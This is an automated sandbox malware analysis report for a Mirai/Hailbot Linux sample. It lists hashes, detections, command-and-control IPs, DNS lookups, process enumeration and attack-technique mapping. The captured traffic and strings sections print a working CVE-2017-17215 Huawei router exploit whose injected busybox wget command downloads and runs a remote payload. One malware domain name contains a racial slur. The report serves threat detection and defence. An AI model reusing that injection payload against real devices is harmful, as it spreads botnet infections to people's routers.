Edit tour

Linux Analysis Report
gmpsl.elf

Overview

General Information

Sample name:	gmpsl.elf
Analysis ID:	1524320
MD5:	a96902555b1ae61ba0536b166b662131
SHA1:	63a19008edc8d5741990fef230dac4734397b032
SHA256:	20f6c7f9f924649e06fe30855395b98dda0381dae7c5cd60790baf2d8b375651
Tags:	404CVE-2017-17215elfMiraiuser-NDA0E
Infos:

Detection

Mirai

Score:	92
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524320
Start date and time:	2024-10-02 18:19:45 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	gmpsl.elf
Detection:	MAL
Classification:	mal92.troj.linELF@0/1025@6/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: gmpsl.elf

Runtime Messages

Command:	/tmp/gmpsl.elf
PID:	5542
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	hail china mainland
Standard Error:

Process Tree

system is lnxubuntu20

gmpsl.elf (PID: 5542, Parent: 5463, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/gmpsl.elf

gmpsl.elf New Fork (PID: 5546, Parent: 5542)

gmpsl.elf New Fork (PID: 5547, Parent: 5542)

gmpsl.elf New Fork (PID: 5550, Parent: 5547)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
gmpsl.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
gmpsl.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5542.1.00007fd6b4400000.00007fd6b4414000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5542.1.00007fd6b4400000.00007fd6b4414000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: gmpsl.elf PID: 5542	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Suricata Signatures

ET MALWARE Hailbot CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T18:20:42.594591+0200	2050066	1	A Network Trojan was detected	192.168.2.15	54128	138.197.7.36	6666	TCP
2024-10-02T18:20:50.820057+0200	2050066	1	A Network Trojan was detected	192.168.2.15	32832	165.22.62.189	17561	TCP
2024-10-02T18:20:56.133282+0200	2050066	1	A Network Trojan was detected	192.168.2.15	56858	128.199.113.0	5866	TCP

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 469Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 66 6f 78 2e 63 61 74 20 2d 6c 20 2f 74 6d 70 2f 6b 69 20 2d 72 20 2f 68 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 69 3b 20 2f 74 6d 70 2f 6b 69 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g hfox.cat -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.15:54128 -> 138.197.7.36:6666
Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.15:32832 -> 165.22.62.189:17561
Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.15:56858 -> 128.199.113.0:5866

Source: unknown	TCP traffic detected without corresponding DNS query: 197.170.43.140
Source: unknown	TCP traffic detected without corresponding DNS query: 197.208.246.55
Source: unknown	TCP traffic detected without corresponding DNS query: 197.89.53.43
Source: unknown	TCP traffic detected without corresponding DNS query: 197.154.164.118
Source: unknown	TCP traffic detected without corresponding DNS query: 156.254.187.69
Source: unknown	TCP traffic detected without corresponding DNS query: 197.221.222.64
Source: unknown	TCP traffic detected without corresponding DNS query: 156.194.83.62
Source: unknown	TCP traffic detected without corresponding DNS query: 156.51.224.62
Source: unknown	TCP traffic detected without corresponding DNS query: 156.96.123.109
Source: unknown	TCP traffic detected without corresponding DNS query: 156.124.12.233
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.51.230
Source: unknown	TCP traffic detected without corresponding DNS query: 197.91.120.17
Source: unknown	TCP traffic detected without corresponding DNS query: 41.230.15.174
Source: unknown	TCP traffic detected without corresponding DNS query: 41.143.218.126
Source: unknown	TCP traffic detected without corresponding DNS query: 197.43.59.98
Source: unknown	TCP traffic detected without corresponding DNS query: 41.116.89.112
Source: unknown	TCP traffic detected without corresponding DNS query: 41.44.77.31
Source: unknown	TCP traffic detected without corresponding DNS query: 197.211.106.137
Source: unknown	TCP traffic detected without corresponding DNS query: 156.90.238.209
Source: unknown	TCP traffic detected without corresponding DNS query: 197.21.238.73
Source: unknown	TCP traffic detected without corresponding DNS query: 197.87.90.101
Source: unknown	TCP traffic detected without corresponding DNS query: 41.37.39.0
Source: unknown	TCP traffic detected without corresponding DNS query: 41.112.193.221
Source: unknown	TCP traffic detected without corresponding DNS query: 197.152.252.8
Source: unknown	TCP traffic detected without corresponding DNS query: 197.211.254.188
Source: unknown	TCP traffic detected without corresponding DNS query: 41.141.227.4
Source: unknown	TCP traffic detected without corresponding DNS query: 41.218.19.60
Source: unknown	TCP traffic detected without corresponding DNS query: 197.233.112.6
Source: unknown	TCP traffic detected without corresponding DNS query: 197.144.215.180
Source: unknown	TCP traffic detected without corresponding DNS query: 156.212.200.201
Source: unknown	TCP traffic detected without corresponding DNS query: 41.191.203.79
Source: unknown	TCP traffic detected without corresponding DNS query: 156.39.18.157
Source: unknown	TCP traffic detected without corresponding DNS query: 41.163.182.36
Source: unknown	TCP traffic detected without corresponding DNS query: 41.38.30.31
Source: unknown	TCP traffic detected without corresponding DNS query: 197.28.35.25
Source: unknown	TCP traffic detected without corresponding DNS query: 197.16.183.70
Source: unknown	TCP traffic detected without corresponding DNS query: 156.0.5.92
Source: unknown	TCP traffic detected without corresponding DNS query: 156.37.226.105
Source: unknown	TCP traffic detected without corresponding DNS query: 197.209.169.6
Source: unknown	TCP traffic detected without corresponding DNS query: 197.58.17.211
Source: unknown	TCP traffic detected without corresponding DNS query: 156.220.175.76
Source: unknown	TCP traffic detected without corresponding DNS query: 156.140.12.165
Source: unknown	TCP traffic detected without corresponding DNS query: 197.238.160.149
Source: unknown	TCP traffic detected without corresponding DNS query: 156.144.193.25
Source: unknown	TCP traffic detected without corresponding DNS query: 156.170.144.75
Source: unknown	TCP traffic detected without corresponding DNS query: 156.19.200.13
Source: unknown	TCP traffic detected without corresponding DNS query: 197.184.73.105
Source: unknown	TCP traffic detected without corresponding DNS query: 197.232.95.181
Source: unknown	TCP traffic detected without corresponding DNS query: 41.243.198.32
Source: unknown	TCP traffic detected without corresponding DNS query: 41.54.47.113

Source: global traffic	DNS traffic detected: DNS query: swimminginboats.geek
Source: global traffic	DNS traffic detected: DNS query: magicalmalware.pirate
Source: global traffic	DNS traffic detected: DNS query: therealniggas.parody. [malformed]
Source: global traffic	DNS traffic detected: DNS query: daisy.ubuntu.com

Source: gmpsl.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: gmpsl.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
Source: Initial sample	String containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/5380/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/3884/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/804/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/3407/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/1484/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/133/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/1479/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/931/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/1595/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/812/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/933/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/3419/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/261/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/262/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/142/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/263/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/264/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/265/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/145/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/266/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/267/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/268/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/3303/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/269/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/1486/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/1806/cmdline	Jump to behavior
Source: /tmp/gmpsl.elf (PID: 5546)	File opened: /proc/3440/cmdline	Jump to behavior

Source: gmpsl.elf, 5542.1.0000564aa599b000.0000564aa5a43000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: gmpsl.elf, 5542.1.00007ffdf4134000.00007ffdf4155000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/gmpsl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/gmpsl.elf
Source: gmpsl.elf, 5542.1.00007ffdf4134000.00007ffdf4155000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel
Source: gmpsl.elf, 5542.1.0000564aa599b000.0000564aa5a43000.rw-.sdmp	Binary or memory string: JV!/etc/qemu-binfmt/mipsel

Source: Yara match	File source: gmpsl.elf, type: SAMPLE
Source: Yara match	File source: 5542.1.00007fd6b4400000.00007fd6b4414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gmpsl.elf PID: 5542, type: MEMORYSTR

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
gmpsl.elf	63%	ReversingLabs	Linux.Trojan.Mirai
gmpsl.elf	100%	Avira	EXP/ELF.Mirai.Hua.c

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Name	IP	Active	Malicious	Reputation
daisy.ubuntu.com	162.213.35.25	true	false	unknown
swimminginboats.geek	138.197.155.229	true	false	unknown
magicalmalware.pirate	138.68.66.39	true	false	unknown
therealniggas.parody. [malformed]	unknown	unknown	true	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
156.133.93.225	unknown	Luxembourg	29975	VODACOM-ZA	false
41.217.127.125	unknown	Nigeria	37340	SpectranetNG	false
156.222.154.39	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.127.73.189	unknown	South Africa	16637	MTNNS-ASZA	false
41.230.49.252	unknown	Tunisia	37705	TOPNETTN	false
41.142.174.192	unknown	Morocco	36903	MT-MPLSMA	false
156.235.45.170	unknown	Seychelles	134705	ITACE-AS-APItaceInternationalLimitedHK	false
197.130.137.59	unknown	Morocco	6713	IAM-ASMA	false
156.10.149.103	unknown	Finland	39098	BOF-ASFI	true
41.240.109.212	unknown	Sudan	36998	SDN-MOBITELSD	false
197.116.147.57	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.123.124.85	unknown	Egypt	36992	ETISALAT-MISREG	false
41.35.35.133	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.22.223.235	unknown	Tunisia	37693	TUNISIANATN	false
197.169.172.186	unknown	South Africa	37168	CELL-CZA	false
41.97.193.153	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.228.38.93	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
156.83.202.17	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
197.184.139.253	unknown	South Africa	37105	NEOLOGY-ASZA	false
156.222.154.44	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.130.137.41	unknown	Morocco	6713	IAM-ASMA	false
197.226.82.205	unknown	Mauritius	23889	MauritiusTelecomMU	false
41.163.5.217	unknown	South Africa	36937	Neotel-ASZA	false
197.191.9.253	unknown	Ghana	37140	zain-asGH	false
156.141.254.122	unknown	United States	29975	VODACOM-ZA	false
156.3.86.170	unknown	United States	2920	LACOEUS	false
41.240.121.75	unknown	Sudan	36998	SDN-MOBITELSD	false
156.2.12.234	unknown	United States	29975	VODACOM-ZA	false
197.58.252.116	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.164.175.140	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.149.52.162	unknown	Madagascar	37054	Telecom-MalagasyMG	false
156.234.199.239	unknown	Seychelles	136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	false
41.3.151.117	unknown	South Africa	29975	VODACOM-ZA	false
156.146.251.189	unknown	United States	1448	UNITED-BROADBANDUS	false
156.114.21.46	unknown	Netherlands	13639	ING-AMERICAS-WHOLESALEUS	false
197.222.170.126	unknown	Egypt	37069	MOBINILEG	false
156.238.135.134	unknown	Seychelles	26484	IKGUL-26484US	false
41.42.142.166	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.62.154.164	unknown	unknown	37705	TOPNETTN	false
156.3.205.216	unknown	United States	2920	LACOEUS	false
41.62.154.165	unknown	unknown	37705	TOPNETTN	false
156.250.110.128	unknown	Seychelles	133201	COMING-ASABCDEGROUPCOMPANYLIMITEDHK	false
156.20.255.210	unknown	United States	23005	SWITCH-LTDUS	false
197.46.154.14	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.141.53.46	unknown	Algeria	36891	ICOSNET-ASDZ	false
156.85.239.71	unknown	United States	10695	WAL-MARTUS	false
197.74.193.252	unknown	South Africa	16637	MTNNS-ASZA	false
197.132.31.215	unknown	Egypt	24835	RAYA-ASEG	false
156.162.60.202	unknown	Egypt	36992	ETISALAT-MISREG	false
41.22.130.112	unknown	South Africa	29975	VODACOM-ZA	false
41.157.30.76	unknown	South Africa	37168	CELL-CZA	false
41.164.24.141	unknown	South Africa	36937	Neotel-ASZA	false
156.230.199.3	unknown	Seychelles	134705	ITACE-AS-APItaceInternationalLimitedHK	false
41.55.38.243	unknown	South Africa	37168	CELL-CZA	false
41.12.83.177	unknown	South Africa	29975	VODACOM-ZA	false
41.139.7.15	unknown	Ghana	35091	TELEDATA-ASTeledataGhanaIL	false
156.124.100.142	unknown	United States	393504	XNSTGCA	false
41.121.172.212	unknown	South Africa	16637	MTNNS-ASZA	false
156.3.86.148	unknown	United States	2920	LACOEUS	false
